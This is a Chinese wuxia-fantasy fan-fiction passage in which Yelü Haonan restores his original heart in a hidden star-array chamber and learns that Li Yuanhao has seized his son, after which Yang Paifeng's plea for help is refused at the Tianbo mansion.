紧接着,一阵低沉的、仿佛来自地底深处的闷响,带着齿轮转动般的“咔咔”声响起。那方看似沉重无比、与地基浑然一体的石碑,竟如同最精巧的机关门扉,无声无息地向侧方平滑移开三尺,露出下方一个黑黝黝的、仅容一人通过的狭窄甬道入口。一股混合着年深日久的尘土气息、寒玉冷香、以及一丝若有若无檀香味的寒气,扑面而来,让人精神一凛。 耶律皓南转身,对身后如影子般肃立、气息几乎与山石融为一体的几名心腹暗卫沉声吩咐,声音不高,却带着久居上位、杀伐决断的冷硬: “守死入口。擅近者,无论何人,格杀勿论。” “是!” 暗卫低声应诺,声音短促有力,瞬间散开,隐入四周的黑暗与乱石之中,气息收敛,恍如未存。 他的目光,最后极其短暂地扫过依旧背对着他、僵立在原地的杨排风。那单薄的背影在苍茫暮色中显得如此脆弱,仿佛一折就断,却又挺直得仿佛一杆宁折不弯的枪,带着一股孤绝的倔强。他嘴唇几不可察地动了动,似乎想说什么,目光在她微微颤抖、泄露了内心绝不平静的肩头停留了一瞬,眼底深处有什么浓烈而复杂的情绪翻涌了一下,但最终,还是被更深的幽暗、决绝,以及一丝或许连他自己都未察觉的、不忍牵连的晦涩所取代。 他什么也没说,猛地紧了紧身上的斗篷,不再犹豫,转身,踏入了那深不见底、仿佛通往幽冥的黑暗甬道之中。身影很快被浓稠的、带着寒气的黑暗彻底吞没,只留下洞口那一丝逸出的、与众不同的冷香,证明着曾有人进入,去赴一场生死未卜的交换。 甬道并不长,却曲折向下,石阶湿滑,弥漫着经年不散的阴冷与一种淡淡的、类似檀香却又更加清冽古老、仿佛能涤荡神魂的气息。尽头,是一间不大的天然石室。 石室四壁并非普通岩石,而是某种罕见的、能自发微光的墨玉,壁上以银粉镶嵌出巨大的北斗七星图案,星子之间以极细的银线相连,构成玄奥莫测的阵法。此刻,这星图正散发着柔和而稳定的幽蓝银光,将整间石室映照得如同置身于夏夜晴朗的星空之下,静谧,神秘,充满了一种非人间的、浩瀚而纯净的气息。这里的时间与空间仿佛都与外界不同。 石室中央,是一座浑然天成、未经雕琢的寒玉台,通体洁白如雪,寒气氤氲,使得石室温度极低。玉台之上,静静放置着一只完全由透明冰晶雕琢而成的方匣。匣内,悬浮着一颗……心脏。 是的,一颗鲜活的心脏。它呈现出一种温润的、健康的内敛红色,大小与他胸腔相仿,甚至还在一下、一下,缓慢而有力地搏动着!沉稳,有力,仿佛从未离开过主人的身体,从未停止过生机,在冰晶与寒玉的滋养下,保持着六年前离体那一刻的状态。心脏表面,缠绕着七道细细的、金光流转的玄妙纹路,如同有生命的星辰锁链,又似天道运行的轨迹,将它稳稳定在冰晶匣中,散发着强大而神圣的封印保护力量——正是凌霄子亲手所施的、道家无上秘法“七星锁魂咒”。 耶律皓南在寒玉台前站定,深深吸了一口气,冰冷的空气混合着星图散发的清灵之气涌入肺腑,让他因禁制反噬而翻腾不休的气血稍稍平复。他不再犹豫,抬手,解开了身上粗麻斗篷的系带,任由其滑落在地。接着,是外袍,中衣…… 最终,他袒露出精悍的上身。肌肉线条流畅而充满爆发力,肤色是久不见阳光的冷白,上面布满了新旧交错的伤疤,有沙场刀剑之伤,有修炼法术不当的灼痕,更有几处深入内腑的暗伤留下的青黑印记。而最触目惊心的,是左胸心口处——一道纵贯胸骨、颜色深紫近黑、皮肉翻卷扭曲、宛如蜈蚣盘踞的狰狞疤痕!那是当年他为彻底掌控天门阵,不惜以秘法自剜心窍时留下的伤口,六年过去,依旧狰狞可怖,仿佛在无声诉说着当日决绝的痛楚、疯狂与代价。 他咬破自己右手中指,以指为笔,以自身精血为墨,就着寒玉台冰冷的台面,无视那刺骨的寒意,飞速划下一个极其繁复、透着古老邪异气息、专为“换心”准备的血色符阵。每一笔划下,都牵引着体内所剩无几的真元与那“童子心”的排斥之力,他脸色就苍白一分,额角青筋隐现,冷汗渗出。 符阵成型的刹那,他眼中厉色与决绝一闪,运足残存功力,将所有排斥痛苦强行压下,一掌狠狠拍向自己左胸那疤痕正中!并非拍打血肉,而是掌心蕴含的阴狠内力与符阵之力结合,隔着皮肉,直接震碎了胸腔内那颗强行为他续命六年、却始终与他不相容、带来无尽痛苦的“童子心”! “噗——!” 一声沉闷的、仿佛腐朽皮革破裂的怪异声响从体内传出。 “呃啊——!” 他发出一声压抑到极致的痛苦低吼,身体猛地向前弓起,一大口混杂着内脏碎块、颜色暗黑发紫、散发着不祥气息的污血,从他口中狂喷而出,溅满了面前的寒玉台和地面!那颗破碎的“心”带来的反噬、生机强行断绝的痛苦、以及血脉被强行割裂的虚无感,瞬间如海啸般席卷全身,让他眼前阵阵发黑,耳中嗡鸣,几乎要立刻昏死过去。气息以可怕的速度萎靡下去。 但他不能昏!时机稍纵即逝!此刻旧心已碎,新心未归,是生死一线、最脆弱也最关键的时刻! 他强提最后一口气,压榨出魂魄深处所有的力量,左手如电伸出,五指成爪,因用力而关节发白,猛地抓向冰晶匣中那颗被金光缠绕的、兀自平稳跳动的心脏——那颗真正属于他刘皓南的原心! “七星锁魂咒”感受到外力侵入,金光大盛,化作七条凝实无比的金色光索,猛地缠绕上他的手臂!灼烧灵魂般的剧痛传来,手臂皮肤瞬间发出“嗤嗤”声响,焦黑 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没有丝毫犹豫,甚至没有时间去感受那份失而复得的震动,他右手并指如刀,指尖真气凝聚成无形却锋锐无比的锋刃,对着自己左胸那道旧疤,狠狠地、决绝地——再次刺入!生生剖开早已愈合又撕裂过无数次的血肉,露出其下空洞的、残破的、经脉萎缩的胸腔内里! 然后,他抓着那颗原心,将其对准位置,带着一种近乎虔诚的疯狂与孤注一掷的渴望,狠狠地、精准地——按了回去!贴合在那断裂萎缩的经脉根源之上! “呃——!!!” 那一瞬间的剧痛,无法用任何言语形容!仿佛将灵魂都撕裂、打碎、再强行重组!新旧血脉强行接续的胀裂感,断裂枯萎了六年的经脉被狂暴生机冲刷连接、强行拓展的剧痛,那颗离体六年、被七星锁魂咒滋养守护的心脏,重新回到它诞生、成长的地方,开始疯狂地、贪婪地搏动,每一次跳动,都泵出滚烫的、属于他刘皓南的本源精血,以决堤之势冲刷向干涸枯萎了六年的四肢百骸,唤醒每一寸沉寂的生机! 与此同时,仿佛被这颗皇族血脉之心的归位所引动,石室四壁上,那幅巨大的北斗七星图,骤然被彻底激活!七颗星子银光大放,光芒如实质的银浆流淌而下,汇聚成一道炽烈无比、充满纯阳净化之力的星辰光柱,将寒玉台上血肉模糊、剧烈痉挛的耶律皓南彻底笼罩! “啊——!!!” 他发出一声不似人声的、混合了极致痛苦、新生狂喜与灵魂战栗的嘶吼,身体不受控制地猛地向后仰起,脖颈青筋暴凸如虬龙,眼珠几乎要瞪出眼眶!纯净的星辰之力如万根烧红的钢针,又似甘霖圣水,从他每一个毛孔刺入、灌注,洗涤着他经脉中沉积了六年、阴毒无比的天门阵反噬之力,也冲击、安抚着他刚刚归位、尚未稳固的心神与暴走的血脉。 眼前,无数破碎凌乱的画面,不受控制地闪现、翻滚、撞击,那是深埋的记忆与执念,在换心的剧痛与星辰洗礼下,翻涌而出: ?七岁那年,晋阳城破。冲天的火光染红夜幕,宋兵狰狞的面孔与喊杀声充斥耳膜,宫人绝望的哭喊与奔逃。母亲,那个总是温柔笑着的北汉王妃,将他死死藏在秘道湿滑暗格里,最后看他那一眼,是泣血的嘶喊、无边的眷恋与刻骨的绝望……“皓南,活下去!无论如何,活下去!”……然后,是无尽的黑暗,令人窒息的寂静。不知过了多久,他独自爬出,面对的是满地族人、宫人横七竖八的尸骸,鲜血将汉白玉阶染成褐色。幼小的他被幸存的忠仆拖着逃出皇宫,被逼至皇宫后的悬崖,身后是追兵的铁蹄与呼啸的箭矢,身前是云雾缭绕的深渊。纵身跃下时,耳边是呼啸的风声和母亲仿佛还在无尽远处回荡的凄厉哭喊……恨!刻骨的恨!与冰冷!一起浸透了骨髓。 ?天门阵中,阴风怒号,万鬼哭嚎。他站在阵眼,脚下是血流成河,无数生魂在阵中哀嚎挣扎。手中握着那柄用以自剜心窍的匕首,冰冷的刃尖抵着温热的胸口,远处,隐约传来穆桂英率领宋军攻阵的嘹亮号角与震天喊杀声,越来越近……他知道,阵要破了。但更深处,还有一种莫名的空虚与剧痛——不是因为将死,而是因为想起一线天崖底,那个用清澈信任眼神看着他的烧火丫头,想起她可能用怎样仇恨失望的眼神看他……痛,不仅是身体剜心之痛,还有某种东西彻底碎裂、再也无法挽回的绝望。然后,是无边的黑暗与冰冷,以及遥远传来的、辽国巫医模糊的吟唱与萧太后冷静的指令…… ?最后,画面定格在一张稚嫩却模糊、唯有眉心一点朱砂痕清晰的孩童面容上。那是三日前,他强忍着反噬剧痛,以损耗寿元为代价,于密室中起卦占卜,于那纷乱莫测、血光隐现的命盘深处,窥见的一抹璀璨而熟悉、带着锋锐兵戈之气的星芒——武曲星!主杀伐,掌兵戈,刚毅果决,将星之命!那星芒虽微弱,却与他血脉隐隐呼应,光芒中却蒙着一层令人心悸的血光之劫……当时他心神剧震,喷血倒地,心中惊涛骇浪: 难道……那个孩子真的命格如此?! “我的……孩儿……” 在星光涤荡的痛苦间隙,在血脉重新奔腾的轰鸣中,这个念头无比清晰、带着连他自己都未察觉的震颤与酸楚,划过脑海。 就在这时,石室外,隐约传来了杨排风再也无法压抑的、失控的哭喊,穿过厚重的石门,被阵法削弱,却依旧模糊而清晰地、如同绝望的钩子,撞入他剧痛混乱的耳中、心中: “耶律皓南!你若是敢死在里面——!” 后半句被风声和某种更激烈的、哽咽的情绪吞没,但他仿佛听见了,也听懂了。那声音里的恐惧、愤怒,还有一丝深藏的、不容错辨的……害怕失去。 那句话,那声音,仿佛带着某种奇异的力量,穿透了星辰光柱的净化、穿透了换心的极致痛苦,注入了他在新生与毁灭边缘挣扎、濒临涣散的神智之中。他不能死!他还有事未了!他还没有问清楚那个孩子!他还没有……还没有面对她那双流泪的眼睛! 他猛地一咬牙,口中满是血腥味,眼中爆发出骇人的求生精光与狠厉,强行挺直了几乎要蜷缩下去、被痛苦击垮的脊背,不再抵抗那净化星光,反而敞开心神,主动迎接那磅礴星力的冲刷与洗礼!他要活!必须活! “轰——!” 仿佛江河决堤,海啸奔涌。更强烈的星光冲刷而过,将他经脉中最后一丝顽固的阴毒煞气、那“童子心”残留的异种气息,彻底涤荡干净!浑身剧痛达到了顶峰,随即,一种前所未有的、轻盈的、通透的生机感,从重新有力搏动的心脏处,如春日照融冰雪,缓缓蔓延向四肢百骸。 不知过了多久,也许只是一瞬,也许已是一年。 石室内的炽烈星光渐渐敛去,四壁星图恢复了幽静恒常的微光。寒玉台上,耶律皓南缓缓地、极其艰难地睁开了眼睛。 那双总是深邃如寒潭、藏着无尽算计与阴鸷的眼睛,此刻依旧深邃,却有什么不一样了。常年萦绕其中的、挥之不去的阴郁、戾气、压抑的痛苦与暴虐,仿佛被刚才的星辰之力一并洗涤、抚平,虽然深重的疲惫如同山峦压在魂魄之上,却显出一种久违的、如暴雨后古井深潭般的平静与澄澈。只是那平静之下,是更为内敛、也更为可怕深沉的、属于他本身全盛时期的力量在缓缓复苏、流淌。 他低头,看向自己左胸。那道狰狞的旧疤依然存在,颜色却似乎鲜活了一些,疤痕下的肌肤,正随着胸腔内那颗心脏平稳、有力、充满生机地搏动着,微微起伏。一股温暖而磅礴的、与他神魂完全契合的生机,正从心脏处源源不断地涌向四肢百骸,虽然经脉初通,还有些滞涩的胀痛与新生般的脆弱,但那困扰他六年、如影随形的阴冷、空虚、排斥与撕裂感,已然消失无踪。取而代之的,是一种完整的、踏实的、力量缓缓归来的充实感。 他成功了。那颗心,真的回来了。 他尝试动了一下手指,有些僵硬,但控制自如。撑着冰冷滑腻的寒玉台,他缓缓地、一寸寸地站起,膝盖发软,身形晃了晃,但终究站稳了。身上血迹斑斑,脸色苍白如雪,唇上毫无血色,但那股从骨子里透出的、换心以来的虚弱与颓败死气,已然消散。虽然此刻的他看起来依旧狼狈脆弱,但内里,已然涅槃。 他弯腰,捡起地上染血的粗麻斗篷,随意披上,遮住了赤裸的上身、可怖的伤痕与血迹,然后,步履虽然依旧有些虚浮踉跄,却带着一种异常的坚定与新生般的力量,一步步走向石室出口。每一步,都仿佛踩在实地上,而非过往六年的虚空噩梦中。 石门再次无声滑开。 外面,天已彻底墨黑。无星无月,只有山风在漆黑的夜空中呼啸,卷动着荒草与落叶,发出呜咽般的声响。 杨排风就守在门外不远处的古塔残骸下,背对着石门,身体紧紧蜷缩着,双臂环抱着自己,肩膀单薄得仿佛下一秒就要被凛冽的山风吹散、吹走。听到石门开启的、细微却清晰的“扎扎”声,她浑身剧烈一颤,像是被电击,猛地转过身! 在看到耶律皓南踏出石门、裹着染血斗篷、苍白着脸却真真切切“走”出来的那一刻,她像是被瞬间抽走了所有支撑的力气,又像是积蓄到顶点的火山终于爆发,不管不顾地、跌跌撞撞地扑了上去!冰凉颤抖、沾满冷汗泥土的指尖,带着小心翼翼到近乎恐惧的试探,和无法抑制的、想要确认的急切,轻轻触上他被粗麻斗篷遮掩的、心口的位置。 指尖下,透过粗糙的布料,传来平稳、有力、温热的搏动。一下,又一下。蓬勃,真实。 “你的心……” 她仰起脸,泪水毫无预兆地决堤涌出,大颗大颗地、滚烫地砸落,混着脸上的尘土,砸在他染血的、微湿的衣襟上,也仿佛砸在了他刚刚归位、尚且敏感的心上,“……真的……好了?真的……跳了?” 声音哽咽,破碎,带着不敢置信的狂喜,与更深沉的、几乎将她淹没的后怕。天知道刚才等待的每一刻,听着里面隐约传来的痛苦闷哼,她有多恐惧。怕他死,怕他变成一具冰冷的尸体,怕这六年的纠缠、今夜的重逢、还有那个未解的秘密,都随着他的死去而变成永久的绝望。 “无碍了。” 耶律皓南垂下眼,看着近在咫尺的、泪流满面、狼狈不堪的容颜。六年风霜,她也瘦了,憔悴了,眼底有着和他相似的疲惫与沧桑。可此刻那双被泪水洗净的眼睛里瞬间迸发出的、纯粹而激烈的光亮,却与记忆中那个一线天崖底、火光映照下明朗飒爽、眼神清澈的烧火丫头,重重叠叠在了一起。他喉结滚动了一下,心中那座冰封了六年、以恨与执念为砖石垒砌的坚固堡垒,在这一刻,被她的泪水、触碰与眼中毫不掩饰的惊惧关切,悄然撞击,融化了一角,露出底下连他自己都陌生的柔软与悸动。 他下意识地抬起手,有些生涩地、迟疑地,在空中停顿了一瞬,仿佛不习惯这样的温情流露,又仿佛怕惊扰了这短暂而脆弱的真实。然后,终是轻轻落下,带着未干的血迹与寒意,抚上她湿漉漉的、沾着草屑与泪水的发顶,动作僵硬,却带着一种不容错辨的笨拙安抚。 六年隔阂,国仇家恨,爱怨纠缠,生死相隔,误解重重……如万载不化的厚重冰层横亘其间。此刻,因着换心成功的生机,因着孩子下落的未知,因着这劫后余生的短暂松懈,冰层初裂,暖流暗涌,却依旧不知该从何说起,如何面对这突然拉近的距离、这复杂难言的一切。 他嘴唇动了动,终是低低唤出那个在心底辗转了无数次、在梦魇与回忆中咀嚼了无数遍、却六年未曾有机会出口的名字,声音沙哑干涩,却带着一丝自己都未察觉的、久违的温和: “排风……” 话音未落—— “嘚嘚嘚嘚——!!!” 急促如爆豆、疯狂撕裂夜空寂静的马蹄声,由远及近,以拼命的速度刺破山野的呜咽风声!声音之快之猛之惶急,显是来者已将马匹催到了极限,甚至不顾险峻山道! 一道黑影如同从浓墨般的夜色中射出的一支夺命利箭,自山坡下疾驰而来!马未完全停稳,一道人影已从马背上滚落,连滚带爬、浑身尘土血迹地扑到耶律皓南脚前,正是他麾下最为得力、向来沉稳的暗卫首领之一。此刻这人浑身浴血,不知是自己的还是敌人的,头盔早已不知去向,发髻散乱,脸上有一道深可见骨、皮肉外翻的刀伤,气息紊乱粗重,眼神里是极致的惊恐与绝望,显然经历过惨烈至极的厮杀与奔逃。 “主……主公!!!” 暗卫嗓音嘶哑破裂,仿佛喉咙已被喊破、被血沫堵住,带着无边无际的惊恐与绝望,用尽最后的力气嘶声吼道,声音在夜风中凄厉无比:“不好了!出大事了!少主……少主被西夏国主李元昊的亲卫‘铁鹞子’绑走了!就在一个时辰前,于回雁谷!我们的人……全军覆没!那魔头……那魔头放话出来……” 他猛地咳出一大口带着内脏碎块的血沫,眼中是深入骨髓的恐惧,死死抓住耶律皓南的衣摆: “……要抽少主体内的‘武曲星’元神,炼制……炼制那灭绝人性的‘天魔诛仙阵’!!期限就在三月后的月圆之夜!!” “武曲星”三字,如同九霄之上劈下的最狂暴的惊雷,狠狠炸在耶律皓南与杨排风的头顶!灵魂深处! 耶律皓南身体剧震,刚刚换心初愈、尚且脆弱、正在缓缓适应新生的心脉,被这突如其来的、比噩梦更可怕的噩耗狠狠一击,猛地岔了气,血气逆冲! “噗——!” 他竟张口,喷出了一小口色泽鲜红、犹带温热的心头血!新愈的心脏传来钻心刺骨、仿佛被利爪攥紧撕扯的剧痛——不是因为伤势复发,而是因为极致的愤怒、恐惧,与血脉相连的感应被强行触动、挑衅的震颤!李元昊!那个雄踞西北、野心勃勃、残忍暴虐、同样精通邪术魔功的西夏国主!他竟也窥破了孩儿的命格!竟敢将主意打到他耶律皓南的血脉头上!还要抽魂炼阵?! “李、元、昊——!!” 三个字,从耶律皓南齿缝间迸出,每一个字都浸透了滔天的杀意、冰寒与毁灭一切的暴怒,仿佛来自九幽地狱最底层的诅咒。他踉跄一步,扶住身旁古塔冰冷粗糙的残垣,指节因为用力而攥得发白,咯咯作响,几乎要将坚硬的花岗岩捏碎!眼中瞬间席卷起毁天灭地的猩红风暴,那刚刚因换心成功而沉淀下去的戾气与疯狂,以十倍、百倍、千倍的恐怖态势轰然爆发!周身尚未完全收敛的气息不受控制地外放,震得周围碎石滚落,荒草倒伏! “你敢动我儿——!!!!” 与此同时,杨排风如遭五雷轰顶,整个人彻底僵在原地,脸上血色尽褪,比身上的素麻衣裙还要白,白得惨淡,白得死寂。下一秒,无边的、足以吞噬一切的恐惧与母性本能,彻底冲垮了她所有的理智、矜持、怨恨与挣扎! “儿子!我的儿子!!” 她发出一声凄厉得不似人声、如同濒死母兽般的尖叫,猛地挣脱了方才那片刻的恍惚,疯癫般扑上去,死死抓住耶律皓南的手臂,指甲深深掐入他的皮肉之中,仿佛那是她溺水时唯一的浮木,声音尖锐破碎得变了调,充满了无边无际的绝望、哀求与崩溃: “耶律皓南!你救他!你去救他!你救我儿子!!把我的儿子救回来!!啊——!!把我的孩子还给我!!!” 六年隐忍,六年以为死别的煎熬,六年独自背负秘密的恐惧,六年对孩子的思念与担忧,在此刻,在得知孩子竟然真的存在、而且落入李元昊那等绝世魔头手中的惊天噩耗面前,轰然决堤,化作崩溃的、歇斯底里的洪流。她不再是那个强撑坚强的杨排风,只是一个即将失去骨肉、绝望疯狂的母兽。 耶律皓南被她死死抓住,感受着她指尖传来的剧烈颤抖、冰凉和绝望的力量,听着她泣血般撕心裂肺的哭喊,心中那滔天的杀意、怒火、与同样深切的恐惧,仿佛找到了一个共同的宣泄口,也找到了一个必须紧紧抓住、彼此支撑的锚点。他们的孩子!他们共同的孩子!正在魔爪之下! 他猛地转身,一把将她冰凉颤抖、几乎站立不稳、崩溃欲绝的身子拉起,紧紧箍在自己同样冰冷却因怒火而滚烫的怀中。染血的手掌,带着未干的血迹、泥土与滚烫的温度,死死扣住她同样冰冷、沾满泪水泥污、颤抖不止的五指,用力到指节泛白,骨骼相硌,仿佛要将两人的骨血、命运、恐惧与决心,都死死融合在一起,共同面对这灭顶之灾。 他低下头,额角与她冰冷的额相抵,眼中风暴肆虐,猩红可怖,声音却是一种极致的、令人胆寒的冷静与斩钉截铁,一字一句,清晰地、重重地烙印在她耳中,也烙印在这杀戮与疯狂即将降临的夜空之下: “听着,杨排风。” “我耶律皓南的骨血,天上地下,神佛莫近,阎王难收!” “无人可伤!无人敢动!李元昊——他是在找死!!” 话音未落,他猛地扯下自己颈间那枚贴身佩戴、从未离身、触手温润的狼首墨玉符——那是北汉刘氏皇族嫡系血脉最后的身份象征,亦是最高级别的紧急召集与血战警戒信物,非亡国灭种之危不得动用。 五指收拢,用尽全身力气,狠狠一捏! “咔嚓!” 清脆的碎裂声响起,墨玉符应声而碎! 下一瞬,一点幽蓝如冥界之火、却又带着煌煌威严的焰光,自破碎的玉符核心猛地窜出,迎风暴涨,化作一道碗口粗细、炽烈无比、洞穿黑暗的幽蓝光柱,如同逆行的流星,撕裂浓重如墨的夜幕,直冲云霄!光柱在夜空中轰然炸开,光芒夺目,化作一个巨大无比的、狰狞咆哮、仰天长啸的银色狼首虚影!银狼双目如电,血色凛然,俯瞰人间,带着无尽的威严、古老的血脉召唤、以及滔天的杀戮与警告,笼罩了方圆数十里的天空,声震四野,万物噤声! 北汉皇族最高警戒令——“苍狼泣血,不死不休”! 此令一出,凡北汉遗民,无论身在何处,为何身份,见令如见先主,需不惜一切代价,放下所有,即刻奔赴集结!此令,亦是向整个天下宣告,他北汉刘氏皇孙刘皓南正式归来!任何敢于触碰他逆鳞者,必将承受他最疯狂、最不计代价、最血腥的报复!至死方休! 幽蓝的焰光与银狼虚影,映亮了漆黑的山野,映亮了残破的古塔,也映亮了塔下残垣边,紧紧相拥、十指死死交扣、如同共生一体般的两人。 杨排风仰着头,泪水模糊的视线中,是夜空中那巨大狰狞、仰天咆哮的银狼,是身侧男人眼中焚天灭地、不惜与世为敌的怒火与决绝,是两人紧紧交握、染着彼此血迹、泥土、泪水与恐惧的、再也不愿分开、也无法分开的手。 那交握的十指,冰冷,颤抖,沾染血污,却传递着无法分割的力量、共同的恐惧,以及玉石俱焚的决心。在失去孩子的灭顶恐惧面前,六年隔阂,爱恨情仇,国别立场,似乎都在这一刻被彻底碾碎,变得微不足道。他们只是一个父亲,一个母亲,为了从魔爪中夺回自己的孩子,可以化身修罗,可以搅动天下风云,可以血洗山河,可以与神佛为敌,可以共赴地狱! 这染血交握的手,成了无边黑暗与疯狂前夜中,他们之间唯一真实、也唯一共同的锚点,也是即将席卷而来的血雨腥风中,彼此唯一的依靠与诅咒。 2. 救子心切 天波府内,烛火摇曳,映照满堂肃杀 夜已深,天波府正堂却灯火通明。数十盏青铜雁鱼灯沿墙列立,烛火在琉璃罩中不安地跃动,将满堂朱漆梁柱、匾额旌旗映得光影幢幢,也映在堂中三人神色各异的脸上。空气里弥漫着陈年木料、淡淡墨香与一丝不易察觉的、从兵器库方向飘来的铁锈气,混合成天波府特有的、沉重而威严的味道。 佘太君端坐在正北紫檀木太师椅上,那椅子扶手已被岁月摩挲得温润发亮。她年逾古稀,白发梳得一丝不苟,在脑后绾成严谨的圆髻,插着一支素银簪子。一身深青色缠枝莲纹的常服,外罩墨色比甲,衬得面容愈发清癯肃穆。那双历经三朝、看尽沙场风云与朝堂变幻的眼睛,此刻半阖着,目光却锐利如古井寒潭。她手中那根先帝御赐、杖头雕着睚眦盘绕的乌木龙头拐杖,此刻横置于膝前,苍老但依旧有力的手指,正一下、一下,极有节奏地叩着光滑冰凉的杖身。 “笃、笃、笃……” 声音不高,却在过分寂静的堂中清晰可闻,每一声都像敲在紧绷的心弦上,带着千钧重量,压得人喘不过气。她在权衡,在算计,在将杨排风口中的惊天之讯,与天波府百年基业、与大宋边关安稳、与杨家满门忠烈之名放在同一架无形却冰冷的天平上。 穆桂英一身银鳞细甲未卸,甲片在烛火下泛着冷硬的光泽,肩头墨色披风边缘还沾着京郊夜巡时沾染的湿冷夜露,此刻已凝成细小的水珠。她立在堂中,身姿挺拔如雪后青松,凝霜带寒。这位如今威震天下、执掌京师部分防务的巾帼元帅,刚自城外巡防归来,连戎装都未及换下,便被紧急请至正堂。烛光在她轮廓分明、英气逼人的脸上投下明明暗暗的阴影,眉宇间是挥之不去的疲惫与凝重,更深处,则涌动着听到“耶律皓南”、“李元昊”、“天魔阵”这些字眼时掀起的惊涛骇浪。 杨排风伏跪在堂中光可鉴人的金砖地上,背对着洞开的府门,夜风从她身后灌入,带着深秋的寒意,卷动她素色衣裙的下摆。她鬓发因一路急奔而微乱,几缕碎发黏在汗湿的额角,衣襟袖口还带着大相国寺后山特有的夜露清寒与泥土气息。从离开那古塔残垣,到拼死赶回天波府,她不敢有片刻停歇,此刻跪在这里,双膝冰冷,心却像在油锅里煎熬。 “太君,少夫人!” 她猛地抬起头,因急切和恐惧而眼底血丝纵横,如同密布的红网,声音因一路奔跑和情绪激动而沙哑不堪,却带着孤注一掷的决绝,“西夏国主李元昊,绑走了武……绑走了那孩子,欲抽其元神,炼制灭绝人性的‘天魔诛仙阵’!此事千真万确,是耶律皓南的暗卫拼死送出的消息!如今唯有天波府出手,联合各方势力,方能抢在月圆之夜前,为孩子争出一线生机啊!” 她说到“那孩子”时,声音几不可察地颤抖了一下,迅速改口,却瞒不过堂上两人精明的眼睛。最后一句,几乎是泣血般的哀求。 佘太君叩击杖身的手指,倏然停住了。 堂中陷入一片死寂,只有烛火偶尔爆开的细微噼啪声。老太太的目光似穿过了堂前袅袅升起的檀香烟气,穿过了厚重的府墙,直望向西北方向——那里,宋夏边境烽烟十年未绝,将士埋骨,百姓流离。她缓缓开口,声音苍老却沉稳,每一个字都经过千锤百炼: “排风,你自幼在天波府长大,老身视你如孙辈。你带来的消息,关乎一孩童性命,此乃人道;更牵动宋夏战局,甚至天下气运,此乃国事。” 她顿了顿,目光如实质般落在杨排风身上,带着审视与深沉的无奈,“我杨家,自老令公起,世代忠烈,满门鲜血浇灌的就是‘忠君爱国、保境安民’八个字。老身掌家数十载,每一步都如履薄冰,只因杨家荣辱早已与国运一体。此事……” 她长长叹息一声,那叹息里饱含了太多东西:对杨排风处境的些许怜悯,对局势凶险的清晰认知,对杨家再次被卷入惊天漩涡的沉重,以及身为主帅、老祖宗必须做出的、冰冷而理性的权衡。 “此事不可!” 穆桂英踏前一步,银甲叶片相撞,发出冰冷铿然的声响,在寂静中格外刺耳。她目光如电,先扫过佘太君,以示敬重,随即牢牢钉在杨排风身上,那眼神复杂至极——有关切,有痛心,有无法理解的愤怒,更有深深刻骨的、关于天门阵的惨痛记忆。 她的眼角余光,几不可察地扫过杨排风因跪姿而微显轮廓的小腹——那里,曾经孕育过耶律皓南的骨血。那是六年来横亘在她与这位曾经情同姐妹的伙伴之间,最尖锐、最无法触碰的一根刺。杨排风执意生下那孩子,甚至不惜与杨家产生隔阂,这对将家国忠义看得比天还重的穆桂英而言,曾是难以原谅的“背叛”。 “太君明鉴!” 穆桂英声音清越,却带着金石般的冷硬,字字斩钉截铁,“耶律皓南是何人?弑师叛国、投效辽邦、炼天门邪阵屠戮苍生,更与我杨家……有血海深仇!” 最后四字,她几乎是从牙缝里挤出来的,眼前瞬间闪过天门阵前夫君杨宗保重伤浴血、几乎殒命的惨烈景象,那是她一生都无法痊愈的创痛。 “此等魔头,心思诡谲难测,行事不择手段。谁知这不是他为复辟那早已烟消云散的北汉,故意以亲骨肉为饵,布下的又一个险恶圈套,诱我杨家入局,坏我大宋边防,甚至……甚至欲对宗保、对文广不利?!” 她提及儿子杨文广的名字时,声音有一丝几不可察的紧绷。那是她与杨宗保的独子,如今年方六岁,正在府中安然酣睡,承欢膝下。而杨排风的孩子,却生死未卜,置身魔窟。这对比,何其残酷。 她冷笑一声,那笑声里没有半分温度,只有深深的戒备与一丝连她自己或许都未察觉的、混合着旧伤与失望的涩意: “况且,排风你也说了,那孩子不是被那位神通广大、游戏人间的师叔凌霄子带走了么?凌霄子道法通玄,更胜我师尊陈希夷,连耶律皓南都对他无可奈何。既有他在,孩子安危何需我等插手?天波府此时贸然动作,才是正中下怀!我杨家,绝不可与虎谋皮,再蹈覆辙!” 杨排风浑身剧震,如遭重击,怔怔地望向穆桂英。烛光下,这位与她年岁相仿、甚至因晚几年嫁入杨家而曾唤她一声“排风姑娘”的少夫人,身披银甲,眉目凛然,已是执掌兵符、威震天下的巾帼元帅,再不是当年穆柯寨那个灵动娇俏的少女。可此刻,她字句如冰,如刀,不仅冰冷地剖开沉重的家仇国恨,更毫不留情地挑破了六年来两人心照不宣、却日益深厚的隔阂与伤痕。 原来,在穆桂英眼中,那孩子不仅是耶律皓南的骨血,是“魔种”,更可能是一个精心设计的陷阱、一个利用天波府软肋的毒饵。原来,她对凌霄子师叔的能力如此“信任”,甚至觉得天波府插手是多此一举、是冒险……不,杨排风忽然看清了,穆桂英眼底最深处,除了凛然不可侵犯的家国大义,更烙印着天门阵前杨宗保重伤濒死时,她自己那撕心裂肺的影子——那一战,耶律皓南正是罪魁祸首!对穆桂英而言,纵是稚子无辜,可谁又能保证,那流着耶律皓南血脉、身负“武曲星”命格的孩子,将来不会成为另一个祸乱天下的魔头?谁又能保证,这不是耶律皓南另一场残酷的算计? 一股掺着透骨失望与无尽悲凉的寒意,从脚底瞬间窜遍杨排风全身,漫上心头,几乎将血液冻结。她看着佘太君沉默权衡的脸,看着穆桂英斩钉截铁、不容置疑的眼神,忽然无比清晰地认识到:天波府的“忠烈”二字,是荣耀,是丰碑,更是枷锁,是浸透了杨门子弟鲜血的沉重责任。这责任面前,个人的情爱、骨肉的安危,甚至对无辜稚子的怜悯,都可能必须让路。而横亘在前的,更有天门阵留下的、血海深仇结成的、几乎无解的死结。 她缓缓地、极其艰难地,用手撑着冰冷的地面,站了起来。双膝因久跪而麻木刺痛,她却恍若未觉。她抬起手,拂去衣裙上并不存在的尘埃,动作缓慢,却带着一种近乎仪式般的庄重。然后,她面向佘太君,再转向穆桂英,深深地、深深地,弯下腰,行了一个标准的、毫无挑剔的揖礼。 “太君、少夫人……” 她开口,声音异常平静,平静得没有一丝波澜,却让人听出底下深藏的、万念俱灰般的死寂,“排风……明白了。” 她顿了顿,仿佛用尽全身力气,才将后面的话说完: “多谢太君多年养育教诲、收留庇护之恩。多谢少夫人……往日照拂之情。” 